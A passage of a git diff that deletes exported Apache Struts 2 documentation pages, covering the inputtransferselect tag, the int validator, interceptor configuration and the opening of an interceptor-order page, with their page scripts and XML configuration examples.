-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>inputtransferselect</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="tag-developers-guide.html">Tag Developers Guide</a>&nbsp;&gt;&nbsp;<a href="struts-tags.html">Struts Tags</a>&nbsp;&gt;&nbsp;<a href="tag-reference.html">Tag Reference</a>&nbsp;&gt;&nbsp;<a href="ui-tag-reference.html">UI Tag Reference</a>&nbsp;&gt;&nbsp;<a href="inputtransferselect.html">inputtransferselect</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">inputtransferselect</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=17268774">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=17268774">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=17268774">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=17268774">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=17268774">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=17268774">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h2 id="inputtransferselect-Description">Description</h2>
-
-<p></p><p>
-Create a input transfer select component which is basically an text input
-and  &lt;select ...&gt; tag with buttons in the middle of them allowing text
-to be added to the transfer select. Will auto-select all its
-elements upon its containing form submission.
-</p>
-<div class="confluence-information-macro confluence-information-macro-note"><span class="aui-icon aui-icon-small aui-iconfont-warning confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p></p><p>
-NOTE: The id and doubleId need not be supplied as they will generated provided
-that the inputtransferselect tag is being used in a form tag. The generated id
-and doubleId will be &lt;form_id&gt;_&lt;inputtransferselect_doubleName&gt; and
-&lt;form_id&gt;_&lt;inputtransferselect_doubleName&gt; respectively.
-</p></div></div>
-
-<h2 id="inputtransferselect-Parameters">Parameters</h2>
-
-<p><table width="100%"><tr><td colspan="6" rowspan="1"><h4>Dynamic Attributes Allowed:</h4> false</td></tr><tr><td colspan="6" rowspan="1">&#160;</td></tr><tr><th align="left" colspan="1" rowspan="1" valign="top"><h4>Name</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Required</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Default</h4></th><th align="left" colspan="1" rowspan="1" valign="top"><h4>Evaluated</h4></th><th align="left" colspan="1" rows [...]
-
-
-<h2 id="inputtransferselect-Example">Example</h2>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-
-&lt;-- minimum configuration --&gt;
-&lt;s:inputtransferselect
-     label=&quot;Favourite Cartoons Characters&quot;
-     name=&quot;cartoons&quot;
-     list=&quot;{&#39;Popeye&#39;, &#39;He-Man&#39;, &#39;Spiderman&#39;}&quot;
- /&gt;
-
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/int-validator.html b/content/docs/int-validator.html
deleted file mode 100644
index 8ca5d4f..0000000
--- a/content/docs/int-validator.html
+++ /dev/null
@@ -1,195 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>int validator</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="validation.html">Validation</a>&nbsp;&gt;&nbsp;<a href="int-validator.html">int validator</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">int validator</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14282">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14282">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14282">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14282">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14282">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14282">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><h1 id="intvalidator-Description">Description</h1>
-<p>Field Validator that checks if the integer specified is within a certain range.</p>
-
-<h1 id="intvalidator-Parameters">Parameters</h1>
-<p></p><ul><li>fieldName - The field name this validator is validating. Required if using Plain-Validator Syntax otherwise not required</li><li>min - the minimum value (if none is specified, it will not be checked) </li><li>max - the maximum value (if none is specified, it will not be checked) </li><li>parse - if set to true, minExpression and maxExpression will be evaluated to find min/max</li><li>minExpression - expression to calculate the minimum value (if none is specified, it will n [...]
-
-<p>You can either use the min / max value or minExpression / maxExpression (when parse is set to true) -
-using expression can be slightly slower, see the example below.</p>
-
-<div class="confluence-information-macro confluence-information-macro-warning"><p class="title">Warning</p><span class="aui-icon aui-icon-small aui-iconfont-error confluence-information-macro-icon"></span><div class="confluence-information-macro-body">
-<p>Do not use ${minExpression} and ${maxExpression} as an expression as this will turn into infinitive loop!</p></div></div>
-
-<h1 id="intvalidator-Examples">Examples</h1>
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeContent panelContent pdl">
-<script class="brush: xml; gutter: false; theme: Confluence" type="syntaxhighlighter"><![CDATA[
-&lt;validators&gt;
-     &lt;!-- Plain Validator Syntax --&gt;
-     &lt;validator type=&quot;int&quot;&gt;
-         &lt;param name=&quot;fieldName&quot;&gt;age&lt;/param&gt;
-         &lt;param name=&quot;min&quot;&gt;20&lt;/param&gt;
-         &lt;param name=&quot;max&quot;&gt;50&lt;/param&gt;
-         &lt;message&gt;Age needs to be between ${min} and ${max}&lt;/message&gt;
-     &lt;/validator&gt;
-
-     &lt;!-- Field Validator Syntax --&gt;
-     &lt;field name=&quot;age&quot;&gt;
-         &lt;field-validator type=&quot;int&quot;&gt;
-             &lt;param name=&quot;min&quot;&gt;20&lt;/param&gt;
-             &lt;param name=&quot;max&quot;&gt;50&lt;/param&gt;
-             &lt;message&gt;Age needs to be between ${min} and ${max}&lt;/message&gt;
-         &lt;/field-validator&gt;
-     &lt;/field&gt;
-
-     &lt;!-- Field Validator Syntax with expression --&gt;
-     &lt;field name=&quot;age&quot;&gt;
-         &lt;field-validator type=&quot;int&quot;&gt;
-             &lt;param name=&quot;minExpression&quot;&gt;${minValue}&lt;/param&gt; &lt;!-- will be evaluated as: Integer getMinValue() --&gt;
-             &lt;param name=&quot;maxExpression&quot;&gt;${maxValue}&lt;/param&gt; &lt;!-- will be evaluated as: Integer getMaxValue() --&gt;
-             &lt;message&gt;Age needs to be between ${min} and ${max}&lt;/message&gt;
-         &lt;/field-validator&gt;
-     &lt;/field&gt;
-&lt;/validators&gt;
-]]></script>
-</div></div></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/interceptor-configuration.html b/content/docs/interceptor-configuration.html
deleted file mode 100644
index 000d4a6..0000000
--- a/content/docs/interceptor-configuration.html
+++ /dev/null
@@ -1,192 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Interceptor Configuration</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="guides.html">Guides</a>&nbsp;&gt;&nbsp;<a href="core-developers-guide.html">Core Developers Guide</a>&nbsp;&gt;&nbsp;<a href="configuration-elements.html">Configuration Elements</a>&nbsp;&gt;&nbsp;<a href="interceptor-configuration.html">Interceptor Configuration</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Interceptor Configuration</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14328">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=14328">Edit Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">
-                <img src="https://cwiki.apache.org/confluence/images/icons/browse_space.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Browse Space"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/listpages.action?key=WW">Browse Space</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14328">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_page_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add Page"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createpage.action?spaceKey=WW&fromPageId=14328">Add Page</a>
-            &nbsp;
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14328">
-                <img src="https://cwiki.apache.org/confluence/images/icons/add_blogentry_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Add News"></a>
-            <a href="https://cwiki.apache.org/confluence/pages/createblogpost.action?spaceKey=WW&fromPageId=14328">Add News</a>
-        </div>
-    </div>
-
-    <div class="pagecontent">
-        <div class="wiki-content">
-            <div id="ConfluenceContent"><p>Interceptors allow you to define code to be executed before and/or after the execution of an Action method. (The "Filter" pattern.) Interceptors can be a powerful tool when developing applications. There are many, many use cases for Interceptors, including validation, property population, security, logging, and profiling.</p>
-<div class="table-wrap"><table class="confluenceTable"><tbody><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Validation </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> Examine input for correctness </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p> Property Population </p></th><td colspan="1" rowspan="1" class="confluenceTd"><p> Transfer and convert input to object properties </p></td></tr><tr><th colspan="1" rowspan="1" class="confluenceTh"><p [...]
-
-<p>Interceptors can be chained together to create an Interceptor "Stack". If an action neeeds to check the client's credentials, log the action, and time the action, all of these routines, and more, could be made part of the same Interceptor Stack.</p>
-
-<p>Interceptors are implemented as Java classes, so each Interceptor has a class name. To make it easier to reference Interceptors, each class can be registered with the framework and given a unique, simpler name.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>Registering Interceptors</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;interceptors&gt;
-  &lt;interceptor name="security" class="com.company.security.SecurityInterceptor"/&gt;
-  &lt;interceptor-stack name="secureStack"&gt;
-    &lt;interceptor-ref name="security"/&gt;
-    &lt;interceptor-ref name="defaultStack"/&gt;
-  &lt;/interceptor-stack&gt;
-&lt;/interceptors&gt;
-</pre>
-</div></div>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> Individual Interceptors and Interceptors Stacks can be "mixed and matched" in any order when defining an Interceptor Stack.</p>
-
-<p><img class="emoticon emoticon-tick" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/check.png" data-emoticon-name="tick" alt="(tick)"> The framework will invoke each Interceptor on the stack <strong>in the order it is defined</strong>.</p>
-
-<p>Most applications will define a default Interceptor Stack, such as</p>
-
-<p><code>&lt;default-interceptor-ref name="secureStack"/&gt;</code></p>
-
-<p>but any action may also define its own local stack.</p>
-
-<div class="code panel pdl" style="border-width: 1px;"><div class="codeHeader panelHeader pdl" style="border-bottom-width: 1px;"><b>A local Interceptor Stack</b></div><div class="codeContent panelContent pdl">
-<pre class="brush: xml; gutter: false; theme: Default" style="font-size:12px;">
-&lt;action name="VelocityCounter" class="org.apache.struts2.example.counter.SimpleCounter"&gt;
-    &lt;result name="success"&gt;...&lt;/result&gt;
-    &lt;interceptor-ref name="defaultComponentStack"/&gt;
-&lt;/action&gt;
-</pre>
-</div></div>
-
-<p>The default configuration (<code><a shape="rect" href="struts-defaultxml.html">struts-default.xml</a></code>) sets up a default Interceptor Stack that will work well for most applications.</p>
-
-<p><img class="emoticon emoticon-light-on" src="https://cwiki.apache.org/confluence/s/en_GB/5982/f2b47fb3d636c8bc9fd0b11c0ec6d0ae18646be7.1/_/images/icons/emoticons/lightbulb_on.png" data-emoticon-name="light-on" alt="(lightbulb)"> For more, see <a shape="rect" href="interceptors.html">Interceptors</a>.</p></div>
-        </div>
-
-        
-    </div>
-</div>
-<div class="footer">
-    Generated by CXF SiteExporter
-</div>
-</body>
-</html>
diff --git a/content/docs/interceptor-order.html b/content/docs/interceptor-order.html
deleted file mode 100644
index a2f374d..0000000
--- a/content/docs/interceptor-order.html
+++ /dev/null
@@ -1,189 +0,0 @@
-<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
-<!-- 
-Licensed to the Apache Software Foundation (ASF) under one
-or more contributor license agreements.  See the NOTICE file
-distributed with this work for additional information
-regarding copyright ownership.  The ASF licenses this file
-to you under the Apache License, Version 2.0 (the
-"License"); you may not use this file except in compliance
-with the License.  You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
-Unless required by applicable law or agreed to in writing,
-software distributed under the License is distributed on an
-"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
-KIND, either express or implied.  See the License for the
-specific language governing permissions and limitations
-under the License. 
--->
-<html>
-<head>
-    <link type="text/css" rel="stylesheet" href="https://struts.apache.org/css/default.css">
-    <style type="text/css">
-        .dp-highlighter {
-            width:95% !important;
-        }
-    </style>
-    <style type="text/css">
-        .footer {
-            background-image:      url('https://cwiki.apache.org/confluence/images/border/border_bottom.gif');
-            background-repeat:     repeat-x;
-            background-position:   left top;
-            padding-top:           4px;
-            color:                 #666;
-        }
-    </style>
-    <link href='https://struts.apache.org/highlighter/style/shCoreStruts.css' rel='stylesheet' type='text/css' />
-    <link href='https://struts.apache.org/highlighter/style/shThemeStruts.css' rel='stylesheet' type='text/css' />
-    <script src='https://struts.apache.org/highlighter/js/shCore.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushPlain.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushXml.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJava.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushJScript.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushGroovy.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushBash.js' type='text/javascript'></script>
-    <script src='https://struts.apache.org/highlighter/js/shBrushCss.js' type='text/javascript'></script>
-    <script type="text/javascript">
-        SyntaxHighlighter.defaults['toolbar'] = false;
-        SyntaxHighlighter.all();
-    </script>
-    <script type="text/javascript" language="javascript">
-        var hide = null;
-        var show = null;
-        var children = null;
-
-        function init() {
-            /* Search form initialization */
-            var form = document.forms['search'];
-            if (form != null) {
-                form.elements['domains'].value = location.hostname;
-                form.elements['sitesearch'].value = location.hostname;
-            }
-
-            /* Children initialization */
-            hide = document.getElementById('hide');
-            show = document.getElementById('show');
-            children = document.all != null ?
-                    document.all['children'] :
-                    document.getElementById('children');
-            if (children != null) {
-                children.style.display = 'none';
-                show.style.display = 'inline';
-                hide.style.display = 'none';
-            }
-        }
-
-        function showChildren() {
-            children.style.display = 'block';
-            show.style.display = 'none';
-            hide.style.display = 'inline';
-        }
-
-        function hideChildren() {
-            children.style.display = 'none';
-            show.style.display = 'inline';
-            hide.style.display = 'none';
-        }
-    </script>
-    <title>Interceptor Order</title>
-</head>
-<body onload="init()">
-<table border="0" cellpadding="2" cellspacing="0" width="100%">
-    <tr class="topBar">
-        <td align="left" valign="middle" class="topBarDiv" align="left" nowrap>
-            &nbsp;<a href="home.html">Home</a>&nbsp;&gt;&nbsp;<a href="faqs.html">FAQs</a>&nbsp;&gt;&nbsp;<a href="cookbook.html">Cookbook</a>&nbsp;&gt;&nbsp;<a href="interceptor-order.html">Interceptor Order</a>
-        </td>
-        <td align="right" valign="middle" nowrap>
-            <form name="search" action="https://www.google.com/search" method="get">
-                <input type="hidden" name="ie" value="UTF-8" />
-                <input type="hidden" name="oe" value="UTF-8" />
-                <input type="hidden" name="domains" value="" />
-                <input type="hidden" name="sitesearch" value="" />
-                <input type="text" name="q" maxlength="255" value="" />
-                <input type="submit" name="btnG" value="Google Search" />
-            </form>
-        </td>
-    </tr>
-</table>
-
-<div id="PageContent">
-    <div class="pageheader" style="padding: 6px 0px 0px 0px;">
-        <!-- We'll enable this once we figure out how to access (and save) the logo resource -->
-        <!--img src="/wiki/images/confluence_logo.gif" style="float: left; margin: 4px 4px 4px 10px;" border="0"-->
-        <div style="margin: 0px 10px 0px 10px" class="smalltext">Apache Struts 2 Documentation</div>
-        <div style="margin: 0px 10px 8px 10px"  class="pagetitle">Interceptor Order</div>
-
-        <div class="greynavbar" align="right" style="padding: 2px 10px; margin: 0px;">
-            <a href="https://cwiki.apache.org/confluence/pages/editpage.action?pageId=13888">
-                <img src="https://cwiki.apache.org/confluence/images/icons/notep_16.gif"
-                     height="16" width="16" border="0" align="absmiddle" title="Edit Page"></a>
